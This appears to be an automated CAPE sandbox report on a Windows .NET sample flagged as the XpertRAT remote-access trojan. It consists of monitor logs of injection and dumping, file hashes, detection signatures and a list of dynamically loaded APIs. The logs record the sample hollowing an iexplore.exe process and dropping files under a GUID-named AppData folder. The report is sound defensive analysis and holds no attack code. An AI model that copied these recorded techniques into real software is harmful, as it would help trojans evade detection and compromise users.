2020-06-30 09:09:39,406 [root] DEBUG: DumpPEsInRange: Scanning range 0x2f0000 - 0x32e000.
2020-06-30 09:09:39,406 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2020-06-30 09:09:39,406 [root] DEBUG: Successfully injected DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,406 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x2f0000-0x32e000.
2020-06-30 09:09:39,406 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4764
2020-06-30 09:09:39,421 [root] DEBUG: WriteMemoryHandler: Executable binary injected into process 4764 (ImageBase 0x400000)
2020-06-30 09:09:39,421 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 09:09:39,421 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x0012B9A8.
2020-06-30 09:09:39,453 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x3f000.
2020-06-30 09:09:39,453 [root] DEBUG: WriteMemoryHandler: Dumped PE image from buffer at 0x12b9a8, SizeOfImage 0x43000.
2020-06-30 09:09:39,468 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 4764
2020-06-30 09:09:39,468 [lib.api.process] INFO: Monitor config for process 4764: C:\tmpnwhtwc92\dll\4764.ini
2020-06-30 09:09:39,468 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:39,468 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\CZsEpR\CAPE\6040_211866436239491530262020 (size 0x3dffe)
2020-06-30 09:09:39,484 [root] DEBUG: DumpRegion: Dumped stack region from 0x002F0000, size 0x3e000.
2020-06-30 09:09:39,500 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:39,500 [root] DEBUG: Loader: Injecting process 4764 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,500 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:39,515 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:39,515 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,515 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 4764, error: 4294967281
2020-06-30 09:09:39,515 [root] DEBUG: WriteMemoryHandler: injection of section of PE image which has already been dumped.
2020-06-30 09:09:39,531 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 4764
2020-06-30 09:09:39,531 [lib.api.process] INFO: Monitor config for process 4764: C:\tmpnwhtwc92\dll\4764.ini
2020-06-30 09:09:39,531 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:39,546 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:39,546 [root] DEBUG: Loader: Injecting process 4764 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,546 [root] DEBUG: InjectDll: No thread ID supplied. Initial thread ID 316, handle 0xa0
2020-06-30 09:09:39,562 [root] DEBUG: Process image base: 0x012C0000
2020-06-30 09:09:39,562 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,562 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2020-06-30 09:09:39,593 [root] DEBUG: Successfully injected DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,593 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4764
2020-06-30 09:09:39,609 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 4764
2020-06-30 09:09:39,609 [lib.api.process] INFO: Monitor config for process 4764: C:\tmpnwhtwc92\dll\4764.ini
2020-06-30 09:09:39,625 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:39,656 [root] INFO: Added new file to list with pid None and path C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8.exe
2020-06-30 09:09:39,656 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:39,671 [root] DEBUG: Loader: Injecting process 4764 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,703 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:39,703 [root] DEBUG: DLL loaded at 0x76480000: C:\Windows\system32\ws2_32 (0x35000 bytes).
2020-06-30 09:09:39,703 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:39,703 [root] DEBUG: DLL loaded at 0x76120000: C:\Windows\system32\NSI (0x6000 bytes).
2020-06-30 09:09:39,718 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x134 amd local view 0x753D0000 to global list.
2020-06-30 09:09:39,718 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,718 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 4764, error: 4294967281
2020-06-30 09:09:39,718 [root] DEBUG: DLL loaded at 0x753D0000: C:\Windows\system32\Shell32 (0xc4c000 bytes).
2020-06-30 09:09:39,734 [root] DEBUG: WriteMemoryHandler: injection of section of PE image which has already been dumped.
2020-06-30 09:09:39,734 [root] DEBUG: DLL loaded at 0x74E60000: C:\Windows\system32\profapi (0xb000 bytes).
2020-06-30 09:09:39,734 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 4764
2020-06-30 09:09:39,750 [lib.api.process] INFO: Monitor config for process 4764: C:\tmpnwhtwc92\dll\4764.ini
2020-06-30 09:09:39,750 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:39,750 [root] DEBUG: DLL loaded at 0x74B40000: C:\Windows\system32\Secur32 (0x8000 bytes).
2020-06-30 09:09:39,765 [root] DEBUG: DLL loaded at 0x76B50000: C:\Windows\system32\CLBCatQ (0x83000 bytes).
2020-06-30 09:09:39,765 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:39,765 [root] DEBUG: DLL loaded at 0x73C10000: C:\Windows\System32\shacct (0x1e000 bytes).
2020-06-30 09:09:39,781 [root] DEBUG: Loader: Injecting process 4764 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,781 [root] DEBUG: DLL loaded at 0x6E090000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\COMCTL32 (0x84000 bytes).
2020-06-30 09:09:39,781 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:39,781 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:39,781 [root] DEBUG: DLL loaded at 0x73980000: C:\Windows\system32\SAMLIB (0x12000 bytes).
2020-06-30 09:09:39,781 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,812 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 4764, error: 4294967281
2020-06-30 09:09:39,812 [root] DEBUG: DLL loaded at 0x73A50000: C:\Windows\system32\PROPSYS (0xf5000 bytes).
2020-06-30 09:09:39,828 [root] INFO: Added new file to list with pid None and path C:\Users\Rebecca\AppData\Local\Temp\Rebecca.bmp
2020-06-30 09:09:39,843 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 4764
2020-06-30 09:09:39,843 [root] INFO: Added new file to list with pid None and path C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\ut
2020-06-30 09:09:39,859 [lib.api.process] INFO: Monitor config for process 4764: C:\tmpnwhtwc92\dll\4764.ini
2020-06-30 09:09:39,859 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:39,875 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:39,875 [root] DEBUG: Loader: Injecting process 4764 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,875 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:39,890 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:39,890 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,890 [root] DEBUG: DLL loaded at 0x72A70000: C:\Windows\system32\scrrun (0x2a000 bytes).
2020-06-30 09:09:39,890 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 4764, error: 4294967281
2020-06-30 09:09:39,906 [root] DEBUG: SetThreadContextHandler: Hollow process entry point reset via NtSetContextThread to 0x00001364 (process 4764).
2020-06-30 09:09:39,906 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 4764
2020-06-30 09:09:39,906 [lib.api.process] INFO: Monitor config for process 4764: C:\tmpnwhtwc92\dll\4764.ini
2020-06-30 09:09:39,921 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:39,937 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:39,953 [root] DEBUG: Loader: Injecting process 4764 (thread 316) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,953 [root] DEBUG: Process image base: 0x00400000
2020-06-30 09:09:39,968 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,968 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 09:09:39,968 [root] DEBUG: Successfully injected DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,968 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4764
2020-06-30 09:09:39,984 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4764.
2020-06-30 09:09:40,031 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 09:09:40,062 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 09:09:40,093 [root] INFO: Disabling sleep skipping.
2020-06-30 09:09:40,093 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-06-30 09:09:40,109 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 4764 at 0x6a6b0000, image base 0x400000, stack from 0x152000-0x160000
2020-06-30 09:09:40,125 [root] DEBUG: Commandline: C:\Users\Rebecca\AppData\Local\Temp\ C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe.
2020-06-30 09:09:40,156 [root] INFO: Loaded monitor into process with pid 4764
2020-06-30 09:09:40,156 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x18c amd local view 0x00280000 to global list.
2020-06-30 09:09:40,156 [root] DEBUG: DLL unloaded from 0x769C0000.
2020-06-30 09:09:40,156 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xb8 amd local view 0x033A0000 to global list.
2020-06-30 09:09:40,171 [root] DEBUG: DLL unloaded from 0x76150000.
2020-06-30 09:09:40,171 [root] DEBUG: DLL unloaded from 0x769C0000.
2020-06-30 09:09:40,171 [root] DEBUG: DLL unloaded from 0x76C10000.
2020-06-30 09:09:40,187 [root] DEBUG: DLL loaded at 0x74DB0000: C:\Windows\system32\CRYPTBASE (0xc000 bytes).
2020-06-30 09:09:40,187 [root] DEBUG: DLL loaded at 0x74840000: C:\Windows\system32\mswsock (0x3c000 bytes).
2020-06-30 09:09:40,187 [root] DEBUG: DLL loaded at 0x743C0000: C:\Windows\System32\wshtcpip (0x5000 bytes).
2020-06-30 09:09:40,203 [root] DEBUG: DLL unloaded from 0x77020000.
2020-06-30 09:09:40,203 [root] DEBUG: DLL loaded at 0x74330000: C:\Windows\system32\VERSION (0x9000 bytes).
2020-06-30 09:09:40,203 [root] DEBUG: DLL unloaded from 0x00400000.
2020-06-30 09:09:40,203 [root] INFO: Added new file to list with pid None and path C:\Users\Rebecca\AppData\Local\Temp\~DF02E8C2D09677B8D7.TMP
2020-06-30 09:09:40,203 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 5116
2020-06-30 09:09:40,203 [root] DEBUG: DLL loaded at 0x74DC0000: C:\Windows\system32\SXS (0x5f000 bytes).
2020-06-30 09:09:40,203 [root] DEBUG: GetHookCallerBase: thread 4900 (handle 0x0), return address 0x004010C2, allocation base 0x00400000.
2020-06-30 09:09:40,218 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x00400000.
2020-06-30 09:09:40,218 [root] DEBUG: LooksLikeSectionBoundary: Exception occured reading around suspected boundary at 0x00400000
2020-06-30 09:09:40,234 [root] DEBUG: DLL unloaded from 0x76020000.
2020-06-30 09:09:40,234 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 09:09:40,234 [root] DEBUG: DLL unloaded from 0x769C0000.
2020-06-30 09:09:40,234 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x00400000.
2020-06-30 09:09:40,234 [root] DEBUG: DumpPE: Empty or inaccessible last section, file image seems incomplete (from 0x00407000 to 0x0042B000).
2020-06-30 09:09:40,234 [root] DEBUG: DLL unloaded from 0x76020000.
2020-06-30 09:09:40,281 [root] DEBUG: DLL unloaded from 0x76640000.
2020-06-30 09:09:40,343 [root] DEBUG: DLL unloaded from 0x769C0000.
2020-06-30 09:09:40,359 [root] DEBUG: DLL unloaded from 0x74330000.
2020-06-30 09:09:40,375 [root] DEBUG: DLL unloaded from 0x77020000.
2020-06-30 09:09:40,375 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x2b000.
2020-06-30 09:09:40,390 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 4764
2020-06-30 09:09:40,390 [root] DEBUG: GetHookCallerBase: thread 316 (handle 0x0), return address 0x0040136E, allocation base 0x00400000.
2020-06-30 09:09:40,390 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x00400000.
2020-06-30 09:09:40,390 [root] DEBUG: LooksLikeSectionBoundary: Exception occured reading around suspected boundary at 0x00400000
2020-06-30 09:09:40,390 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 09:09:40,406 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x00400000.
2020-06-30 09:09:40,406 [root] DEBUG: DumpPE: Empty or inaccessible last section, file image seems incomplete (from 0x0043E000 to 0x0043F000).
2020-06-30 09:09:40,453 [root] DEBUG: DLL unloaded from 0x76130000.
2020-06-30 09:09:40,453 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x3f000.
2020-06-30 09:09:40,453 [root] INFO: Process with pid 5116 has terminated
2020-06-30 09:09:40,468 [root] DEBUG: DLL unloaded from 0x769C0000.
2020-06-30 09:09:40,484 [root] DEBUG: DLL unloaded from 0x76130000.
2020-06-30 09:09:40,500 [root] INFO: Process with pid 4764 has terminated
2020-06-30 09:12:41,468 [root] INFO: Analysis timeout hit, terminating analysis.
2020-06-30 09:12:41,468 [lib.api.process] INFO: Terminate event set for process 6040
2020-06-30 09:12:41,484 [root] DEBUG: Terminate Event: Attempting to dump process 6040
2020-06-30 09:12:41,500 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x00400000.
2020-06-30 09:12:41,500 [root] DEBUG: LooksLikeSectionBoundary: Exception occured reading around suspected boundary at 0x00400000
2020-06-30 09:12:41,515 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 09:12:41,515 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x00400000.
2020-06-30 09:12:41,515 [root] DEBUG: DumpPE: Empty or inaccessible last section, file image seems incomplete (from 0x0043E000 to 0x0043F000).
2020-06-30 09:12:41,593 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x3f000.
2020-06-30 09:12:41,593 [root] DEBUG: Terminate Event: CAPE shutdown complete for process 6040
2020-06-30 09:12:41,609 [root] INFO: Added new file to list with pid None and path C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
2020-06-30 09:12:41,609 [lib.api.process] INFO: Termination confirmed for process 6040
2020-06-30 09:12:41,609 [root] INFO: Terminate event set for process 6040.
2020-06-30 09:12:41,609 [root] INFO: Created shutdown mutex.
2020-06-30 09:12:42,625 [root] INFO: Shutting down package.
2020-06-30 09:12:42,625 [root] INFO: Stopping auxiliary modules.
2020-06-30 09:12:42,750 [lib.common.results] WARNING: File C:\CZsEpR\bin\procmon.xml doesn't exist anymore
2020-06-30 09:12:42,750 [root] INFO: Finishing auxiliary modules.
2020-06-30 09:12:42,750 [root] INFO: Shutting down pipe server and dumping dropped files.
2020-06-30 09:12:42,875 [root] WARNING: Folder at path "C:\CZsEpR\debugger" does not exist, skip.
2020-06-30 09:12:42,890 [root] INFO: Analysis completed.

Machine

Name Label Manager Started On Shutdown On
win7_1 win7_1 KVM 2020-06-30 09:44:51 2020-06-30 09:49:54

File Details

File Name 3xPFCTwuZSmjUq
File Size 290816 bytes
File Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
PE timestamp 2020-06-30 04:15:24
MD5 9ef7a2253f269a14bf170f4a60a97538
SHA1 3e92a77ad4e208a678d5f0ccdd5bba0a9c08ecbb
SHA256 2b8072cf7b0c14a4f9c662d66cf5f6a64c7defb73fb6b0fcc9cd5d32ff004101
SHA512 41d1c0ffc87401c59c072126dd47de7cd2839fbd032c1c37781edac2c67d6ef818f3a86d42418a72afa2f447127a64e9a093ca9d8052557225843ba223650fda
CRC32 883B0795
Ssdeep 6144:v/VPsUcpb+BIaUpE9l0NKd2rQYSp9IZZNtIWdreNWwq3FCGSsVS:v/VPs9tvmpMQn6ZPtIIQvqDSsVS
Download Download ZIP Resubmit sample

Signatures

SetUnhandledExceptionFilter detected (possible anti-debug)
Behavioural detection: Executable code extraction - unpacking
Yara rule detections observed from a process memory dump/dropped files/CAPE
Hit: PID 6040 trigged the Yara rule 'XpertRAT'
Hit: PID 4764 trigged the Yara rule 'XpertRAT'
Hit: PID 5116 trigged the Yara rule 'shellcode_patterns'
Hit: PID 6040 trigged the Yara rule 'embedded_pe'
Hit: PID 5616 trigged the Yara rule 'embedded_win_api'
Hit: PID 5116 trigged the Yara rule 'XpertRAT'
Creates RWX memory
Possible date expiration check, exits too soon after checking local time
process: 3xPFCTwuZSmjUq.exe, PID 5116
Guard pages use detected - possible anti-debugging.
Dynamic (imported) function loading detected
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/InitializeCriticalSectionEx
DynamicLoader: KERNEL32.dll/CreateEventExW
DynamicLoader: KERNEL32.dll/CreateSemaphoreExW
DynamicLoader: KERNEL32.dll/SetThreadStackGuarantee
DynamicLoader: KERNEL32.dll/CreateThreadpoolTimer
DynamicLoader: KERNEL32.dll/SetThreadpoolTimer
DynamicLoader: KERNEL32.dll/WaitForThreadpoolTimerCallbacks
DynamicLoader: KERNEL32.dll/CloseThreadpoolTimer
DynamicLoader: KERNEL32.dll/CreateThreadpoolWait
DynamicLoader: KERNEL32.dll/SetThreadpoolWait
DynamicLoader: KERNEL32.dll/CloseThreadpoolWait
DynamicLoader: KERNEL32.dll/FlushProcessWriteBuffers
DynamicLoader: KERNEL32.dll/FreeLibraryWhenCallbackReturns
DynamicLoader: KERNEL32.dll/GetCurrentProcessorNumber
DynamicLoader: KERNEL32.dll/GetLogicalProcessorInformation
DynamicLoader: KERNEL32.dll/CreateSymbolicLinkW
DynamicLoader: KERNEL32.dll/SetDefaultDllDirectories
DynamicLoader: KERNEL32.dll/EnumSystemLocalesEx
DynamicLoader: KERNEL32.dll/CompareStringEx
DynamicLoader: KERNEL32.dll/GetDateFormatEx
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/GetTimeFormatEx
DynamicLoader: KERNEL32.dll/GetUserDefaultLocaleName
DynamicLoader: KERNEL32.dll/IsValidLocaleName
DynamicLoader: KERNEL32.dll/LCMapStringEx
DynamicLoader: KERNEL32.dll/GetCurrentPackageId
DynamicLoader: KERNEL32.dll/GetTickCount64
DynamicLoader: KERNEL32.dll/GetFileInformationByHandleExW
DynamicLoader: KERNEL32.dll/SetFileInformationByHandleW
DynamicLoader: KERNEL32.dll/AcquireSRWLockExclusive
DynamicLoader: KERNEL32.dll/ReleaseSRWLockExclusive
DynamicLoader: ADVAPI32.dll/EventRegister
DynamicLoader: ADVAPI32.dll/EventSetInformation
DynamicLoader: MSCOREE.DLL/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/_CorExeMain_RetAddr
DynamicLoader: mscoreei.dll/_CorExeMain
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
DynamicLoader: VERSION.dll/GetFileVersionInfoW
DynamicLoader: VERSION.dll/VerQueryValueW
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/InitializeCriticalSectionEx
DynamicLoader: KERNEL32.dll/CreateEventExW
DynamicLoader: KERNEL32.dll/CreateSemaphoreExW
DynamicLoader: KERNEL32.dll/SetThreadStackGuarantee
DynamicLoader: KERNEL32.dll/CreateThreadpoolTimer
DynamicLoader: KERNEL32.dll/SetThreadpoolTimer
DynamicLoader: KERNEL32.dll/WaitForThreadpoolTimerCallbacks
DynamicLoader: KERNEL32.dll/CloseThreadpoolTimer
DynamicLoader: KERNEL32.dll/CreateThreadpoolWait
DynamicLoader: KERNEL32.dll/SetThreadpoolWait
DynamicLoader: KERNEL32.dll/CloseThreadpoolWait
DynamicLoader: KERNEL32.dll/FlushProcessWriteBuffers
DynamicLoader: KERNEL32.dll/FreeLibraryWhenCallbackReturns
DynamicLoader: KERNEL32.dll/GetCurrentProcessorNumber
DynamicLoader: KERNEL32.dll/GetLogicalProcessorInformation
DynamicLoader: KERNEL32.dll/CreateSymbolicLinkW
DynamicLoader: KERNEL32.dll/SetDefaultDllDirectories
DynamicLoader: KERNEL32.dll/EnumSystemLocalesEx
DynamicLoader: KERNEL32.dll/CompareStringEx
DynamicLoader: KERNEL32.dll/GetDateFormatEx
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/GetTimeFormatEx
DynamicLoader: KERNEL32.dll/GetUserDefaultLocaleName
DynamicLoader: KERNEL32.dll/IsValidLocaleName
DynamicLoader: KERNEL32.dll/LCMapStringEx
DynamicLoader: KERNEL32.dll/GetCurrentPackageId
DynamicLoader: KERNEL32.dll/GetTickCount64
DynamicLoader: KERNEL32.dll/GetFileInformationByHandleExW
DynamicLoader: KERNEL32.dll/SetFileInformationByHandleW
DynamicLoader: ADVAPI32.dll/EventSetInformation
DynamicLoader: clr.dll/SetRuntimeInfo
DynamicLoader: USER32.dll/GetProcessWindowStation
DynamicLoader: USER32.dll/GetUserObjectInformationW
DynamicLoader: clr.dll/_CorExeMain
DynamicLoader: KERNEL32.dll/AcquireSRWLockExclusive
DynamicLoader: KERNEL32.dll/ReleaseSRWLockExclusive
DynamicLoader: MSCOREE.DLL/CreateConfigStream
DynamicLoader: mscoreei.dll/CreateConfigStream_RetAddr
DynamicLoader: mscoreei.dll/CreateConfigStream
DynamicLoader: KERNEL32.dll/GetNumaHighestNodeNumber
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/GetSystemWindowsDirectoryW
DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/GetTokenInformation
DynamicLoader: ADVAPI32.dll/InitializeAcl
DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
DynamicLoader: ADVAPI32.dll/FreeSid
DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/GetTokenInformation
DynamicLoader: ADVAPI32.dll/InitializeAcl
DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
DynamicLoader: ADVAPI32.dll/FreeSid
DynamicLoader: KERNEL32.dll/AddSIDToBoundaryDescriptor
DynamicLoader: KERNEL32.dll/CreateBoundaryDescriptorW
DynamicLoader: KERNEL32.dll/CreatePrivateNamespaceW
DynamicLoader: KERNEL32.dll/OpenPrivateNamespaceW
DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/GetTokenInformation
DynamicLoader: ADVAPI32.dll/InitializeAcl
DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
DynamicLoader: ADVAPI32.dll/FreeSid
DynamicLoader: KERNEL32.dll/DeleteBoundaryDescriptor
DynamicLoader: KERNEL32.dll/WerRegisterRuntimeExceptionModule
DynamicLoader: KERNEL32.dll/RaiseException
DynamicLoader: MSCOREE.DLL/
DynamicLoader: mscoreei.dll/
DynamicLoader: KERNELBASE.dll/SetSystemFileCacheSize
DynamicLoader: ntdll.dll/NtSetSystemInformation
DynamicLoader: KERNELBASE.dll/PrivIsDllSynchronizationHeld
DynamicLoader: KERNEL32.dll/AddDllDirectory
DynamicLoader: KERNEL32.dll/SortGetHandle
DynamicLoader: KERNEL32.dll/SortCloseHandle
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoGetContextToken
DynamicLoader: clrjit.dll/sxsJitStartup
DynamicLoader: clrjit.dll/jitStartup
DynamicLoader: clrjit.dll/getJit
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/LocaleNameToLCID
DynamicLoader: KERNEL32.dll/GetUserDefaultLocaleName
DynamicLoader: KERNEL32.dll/LCIDToLocaleName
DynamicLoader: KERNEL32.dll/GetUserPreferredUILanguages
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: KERNEL32.dll/GetFullPathName
DynamicLoader: KERNEL32.dll/GetFullPathNameW
DynamicLoader: uxtheme.dll/IsAppThemed
DynamicLoader: uxtheme.dll/IsAppThemedW
DynamicLoader: KERNEL32.dll/CreateActCtx
DynamicLoader: KERNEL32.dll/CreateActCtxA
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: USER32.dll/RegisterWindowMessage
DynamicLoader: USER32.dll/RegisterWindowMessageW
DynamicLoader: ole32.dll/CoCreateGuid
DynamicLoader: ADVAPI32.dll/EventRegister
DynamicLoader: MSCOREE.DLL/GetProcessExecutableHeap
DynamicLoader: mscoreei.dll/GetProcessExecutableHeap_RetAddr
DynamicLoader: mscoreei.dll/GetProcessExecutableHeap
DynamicLoader: KERNEL32.dll/CompareStringOrdinal
